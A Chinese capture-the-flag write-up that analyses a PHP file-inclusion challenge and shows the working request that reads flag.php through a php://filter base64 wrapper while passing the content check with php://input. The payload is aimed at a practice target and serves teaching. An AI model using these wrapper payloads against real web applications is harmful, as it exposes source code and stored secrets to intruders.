当前位置: 首页 > article >正文

fileinclude

访问靶场(开门见山源码)

在这里插入图片描述

源码分析

include("flag.php");//此文件包含flag.php文件也就是可以访问到其中的flag
highlight_file(__FILE__);//代码高亮显示
if(isset($_GET["file1"]) && isset($_GET["file2"]))//get方法同时传入两参数才可以进入此if语句。
{
    $file1 = $_GET["file1"];//将传入的值分别赋值给变量file1与file2
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))//连个变量不为空进入此if语句
    {
        if(file_get_contents($file2) === "hello ctf")//如果file2的值全等于hello ctf则进入此if语句。
        {
            include($file1);//包含file1
        }
    }
    else
        die("NONONO");
}

分析思路

1:flag在flag.php中,那我们就要想办法包含它,顺理成章的就是进入最后一个if语句。
2:进入第一个if语句很简单只要get传入俩指定参数名即可

?file1=&file2=

3:进入第二个if只要不同时为空即可

!empty($file1) && !empty($file2)
//只要不同时为空即可
?file1=1&file2=1

4:绕过第三个if

file_get_contents($file2) === "hello ctf"//这里是===就是要完全一样等于hello ctf

5:include($file1)这里我们要想办法让file1的值为flag.php
并且发现代码里并没有输出的函数,也就是我们光包含了flag.php是没有用的。还要能够读取它。
这里我利用的是php伪协议,下面是一些简单的用法举例在这里插入图片描述

file1=php://filter/read=convert.base64-encode/resource=flag.php

这句话的意思就是读取flag.php文件的内容并进行base64的加密。

最终尝试

61.147.171.105:60735http://61.147.171.105:50471/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=hello ctf

在这里插入图片描述
弹出个这个东西,老实讲我也没有中文字符,直接就给我跳到必应上去了。
&
&
&
那没办法了file2也用伪协议吧!
这句话的意思差不多就是转换了一下方式,原本是get传参,用了这条伪协议就可以使用post传参,我用post传参的方式上传file2的值。

file2=php://input

在这里插入图片描述
在这里插入图片描述
这里成功返回了加密以后的flag.php的内容。

解密

在这里插入图片描述

关于伪协议,我也只懂皮毛,各位看官如果想了解,这边建议去康康大佬的解释。


http://www.kler.cn/news/368311.html

相关文章:

  • C#编程进阶:深入理解属性与索引器
  • 代码随想录算法训练营第46期
  • R语言中常用功能汇总
  • 软件工程--需求分析与用例模型
  • 计算机网络(十二) —— 高级IO
  • 怎么用c++的fill函数?
  • 【计算机网络 - 基础问题】每日 3 题(五十五)
  • Discuz 论坛开发一套传奇发布站与传奇开服表
  • Python中的递归函数是如何工作的,它有哪些应用场景?
  • JAVA高性能缓存项目
  • 基于SSM 的音乐播放系统设计与实现
  • vue3中mitt和pinia的区别和主要用途,是否有可重合的部分?
  • 防火墙和堡垒机有什么区别?
  • 解决 VScode 每次打开都是上次打开的文件问题
  • 密码学+加解密封装
  • 基于neo4j的医疗问诊系统
  • 【编程语言】Kotlin快速入门 - 高阶函数与运算符重载
  • PCL库中的算法封装详解
  • 数字IC后端实现Innovus |给各种IP子模块添加port buffer和antenna diode万能脚本
  • 视频编辑的创意工坊,使用视频剪辑软件将视频随机分割成两段并去声进行MP3音频和M3u8文件的生成,让视频制作更高效
  • OpenTelemetry 实际应用
  • C++ (10) 软件工程实践:塑造魔法世界的工匠
  • YOlO系列——yolo v3
  • 构建高效租房平台:Spring Boot租房管理系统详解
  • esp32学习:语音识别教程esp-skainet库的使用
  • 【AIGC】2024-ECCV-ControlNet++:通过有效的一致性反馈改进条件控制